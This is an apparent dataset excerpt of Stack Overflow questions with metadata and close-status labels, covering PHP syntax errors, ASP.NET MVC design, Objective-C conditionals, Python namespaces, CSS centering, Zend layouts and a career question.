> Parse error: syntax error, unexpected ',' in /home/neel/public_html/engine/includes/functions.php on line 35
and I have no idea why I get this. If anyone could help me out, I'd appreciate it.
| php | syntax-error | null | null | null | 05/06/2012 17:44:53 | too localized | Unexpected PHP error
===
I get this error why trying out a piece of code:
if ( 10 < $pages )
{
if ( $currentPage == 1 )
{
$i = 1;
for ( ; do
{
$i <= 10; ++$i, )
{
$paging .= "<a href=\"".$frontUrl.$i.$backUrl."\" ".( $i == $currentPage ? " class=\"selected\"" : " class=\"normal\"" ).">".$i."</a>";
break;
}
} while ( 1 );
}
As you can see, it's for a page script, this is the error it gives me:
> Parse error: syntax error, unexpected ',' in /home/neel/public_html/engine/includes/functions.php on line 35
and I have no idea why I get this. If anyone could help me out, I'd appreciate it.
| 3 |
6,454,335 | 06/23/2011 12:56:35 | 46,177 | 12/14/2008 19:07:55 | 135 | 4 | Interface and wrapper, custom model binder, or ActionFilter for providing common class to Controllers ? |
I need to provide my controller action methods access to a common class instance (lets call it UserSessionInfo) containing custom application user information.
At the moment its pulled directly from the http session by a base controller but Im trying to remove all dependencies on HTTPContext dependent objects to make the controllers cleaner and more testable.
My understanding is that there are three possible solutions,
1. Inject it into the controller constructor
2. ActionFilter to provide the UserSessionInfo to each action method.
3. IModelBinder implementation to provide the UserSessionInfo to each action method.
I have a decent understanding of 1. Struggling to grok the differences between 2 and 3.
Any help appreciated.
Thanks,
Matt | c# | asp.net | mvc | null | null | null | open | Interface and wrapper, custom model binder, or ActionFilter for providing common class to Controllers ?
===
I need to provide my controller action methods access to a common class instance (lets call it UserSessionInfo) containing custom application user information.
At the moment its pulled directly from the http session by a base controller but Im trying to remove all dependencies on HTTPContext dependent objects to make the controllers cleaner and more testable.
My understanding is that there are three possible solutions,
1. Inject it into the controller constructor
2. ActionFilter to provide the UserSessionInfo to each action method.
3. IModelBinder implementation to provide the UserSessionInfo to each action method.
I have a decent understanding of 1. Struggling to grok the differences between 2 and 3.
Any help appreciated.
Thanks,
Matt | 0 |
11,592,378 | 07/21/2012 12:58:01 | 1,542,277 | 07/21/2012 06:37:38 | 3 | 0 | multiple "if" variables in if else statement | Hi im new to objective c, how do i change this code to make it username AND password rather than OR password? :
if ([name isEqualToString:@"haseo98"] || [pass isEqualToString:@"passwordtest"]){
[_loginwindow setBackgroundColor:[NSColor redColor]];
Thanks in advance :) | objective-c | xcode | osx | if-statement | null | 07/23/2012 12:57:09 | not constructive | multiple "if" variables in if else statement
===
Hi im new to objective c, how do i change this code to make it username AND password rather than OR password? :
if ([name isEqualToString:@"haseo98"] || [pass isEqualToString:@"passwordtest"]){
[_loginwindow setBackgroundColor:[NSColor redColor]];
Thanks in advance :) | 4 |
5,504,122 | 03/31/2011 17:51:22 | 604,290 | 02/05/2011 10:46:35 | 1 | 0 | how to play my images in java script | can you look this page http://www.itheatrep.com/ how to auto movement in java script | java | javascript | null | null | null | 03/31/2011 17:54:50 | not a real question | how to play my images in java script
===
can you look this page http://www.itheatrep.com/ how to auto movement in java script | 1 |
9,130,453 | 02/03/2012 14:44:34 | 451,761 | 09/19/2010 06:09:26 | 49 | 4 | Access parent namespace in python | def c():
def a():
print dir()
def b():
pass
a()
c()
Probably a really simple question, but I can't seem to find an answer by googling. I have the code above, and I want the a method to print the namespace containing the methods a and b, i.e. I want it to print the namespace of the point form which it is called. Is this possible? Preferably in Python 2.x | python | null | null | null | null | null | open | Access parent namespace in python
===
def c():
def a():
print dir()
def b():
pass
a()
c()
Probably a really simple question, but I can't seem to find an answer by googling. I have the code above, and I want the a method to print the namespace containing the methods a and b, i.e. I want it to print the namespace of the point form which it is called. Is this possible? Preferably in Python 2.x | 0 |
6,185,165 | 05/31/2011 08:56:30 | 219,750 | 11/27/2009 00:35:56 | 531 | 24 | CSS Background Image center is not the same as margin:0 auto with scrollbars | Take a look at http://jsfiddle.net/7zb6P/1/
Both the yellow box and the background image are centered in the scrolling `div`, although their center is slightly different. This seems to be due to the background being centered to the whole area (including scrollbar), but the `div` being centered to the content area (not including scrollbar) - see it centered correctly without the scrollbar http://jsfiddle.net/7zb6P/2/
Interestingly IE7 renders it "correctly", but IE8+ and other browsers render it as described above.
I have had a play around with background-origin (and -webkit-background-origin) but none of the properties seem to have any effect.
Any ideas on how to solve this? | html | css | css3 | null | null | null | open | CSS Background Image center is not the same as margin:0 auto with scrollbars
===
Take a look at http://jsfiddle.net/7zb6P/1/
Both the yellow box and the background image are centered in the scrolling `div`, although their center is slightly different. This seems to be due to the background being centered to the whole area (including scrollbar), but the `div` being centered to the content area (not including scrollbar) - see it centered correctly without the scrollbar http://jsfiddle.net/7zb6P/2/
Interestingly IE7 renders it "correctly", but IE8+ and other browsers render it as described above.
I have had a play around with background-origin (and -webkit-background-origin) but none of the properties seem to have any effect.
Any ideas on how to solve this? | 0 |
156,419 | 10/01/2008 06:16:24 | 24,032 | 10/01/2008 06:16:24 | 1 | 0 | Programming Job Applications - Years of Experience? | I'm currently applying for jobs, and they all require "X Years Experience in Y technology".
My question is, is there some standard way of measuring X?
For example, I have used C# professionally for 4 years, however it represented maybe 1/3rd of the work I was involved in during those years.
Do I therefore put "4 years C# experience", or "1.2 years C# experience"?
Following the first route sounds more impressive, but if you add all the numbers up for all the other technologies, you end up with a number far greater than the actual number of years I've been working for...
Following the second route however sounds bad (1.2 years is a smaller number of years than 4), and I also believe paints me in a bad light. I believe that I've learnt much more about C# over the course of 4 years part-time than I would have learnt had I done 1.2 years in a single solid block.
I'd appreciate hearing people's thoughts on this.
Thanks! | jobs | experience | programmer-integrity | null | null | 05/03/2012 12:43:26 | off topic | Programming Job Applications - Years of Experience?
===
I'm currently applying for jobs, and they all require "X Years Experience in Y technology".
My question is, is there some standard way of measuring X?
For example, I have used C# professionally for 4 years, however it represented maybe 1/3rd of the work I was involved in during those years.
Do I therefore put "4 years C# experience", or "1.2 years C# experience"?
Following the first route sounds more impressive, but if you add all the numbers up for all the other technologies, you end up with a number far greater than the actual number of years I've been working for...
Following the second route however sounds bad (1.2 years is a smaller number of years than 4), and I also believe paints me in a bad light. I believe that I've learnt much more about C# over the course of 4 years part-time than I would have learnt had I done 1.2 years in a single solid block.
I'd appreciate hearing people's thoughts on this.
Thanks! | 2 |
4,925,472 | 02/07/2011 19:17:46 | 177,389 | 09/22/2009 20:17:16 | 600 | 6 | In Zend MVC, how do you pass a variable set int he controller, to a layout? |
I have to pass the page title names and meta information to the layout but not to sure how to do this =/ | mvc | layout | zend | controller | null | null | open | In Zend MVC, how do you pass a variable set int he controller, to a layout?
===
I have to pass the page title names and meta information to the layout but not to sure how to do this =/ | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.